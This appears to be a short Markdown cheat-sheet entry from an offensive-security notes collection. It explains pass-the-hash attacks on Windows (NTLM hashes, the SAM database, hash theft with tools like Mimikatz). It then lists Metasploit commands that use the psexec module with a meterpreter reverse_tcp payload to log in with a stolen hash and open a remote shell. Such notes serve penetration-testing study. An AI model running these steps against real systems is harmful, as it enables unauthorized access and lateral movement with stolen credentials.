17 lines
1.3 KiB
Markdown
17 lines
1.3 KiB
Markdown
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## General
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Pass-the-hash (PtH) is a technique that allows an attacker to authenticate to a remote system using the underlying NTLM or LAN Manager (LM) hash of a user's password, instead of the actual password. This can allow an attacker to gain access to a system or network without knowing the actual password of the user.
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On a Windows system, user passwords are stored in a hashed format in the system's local security database, called the Security Account Manager (SAM). When a user enters their password, the system hashes the entered password and compares it to the stored hash to authenticate the user.
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In a PtH attack, the attacker obtains the hash of a user's password and uses it to authenticate to a system as that user. This can be done by capturing the hash through a variety of means, such as through a network sniffer, by extracting it from a compromised system, or by using a tool like Mimikatz. Once the attacker has the hash, they can use it to authenticate to a system without knowing the actual password.
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## Commands
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Make sure you have gather some hash before starting this step and also have a meterpreter session
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PtH Module
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```
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use windows/smb/psexec
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set payload windows/x64/meterpreter/reverse_tcp
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show options ---> Set the options (RHOST, RPORT, SMB DOMAIN.., USER/PASS or HASH)
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run
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```
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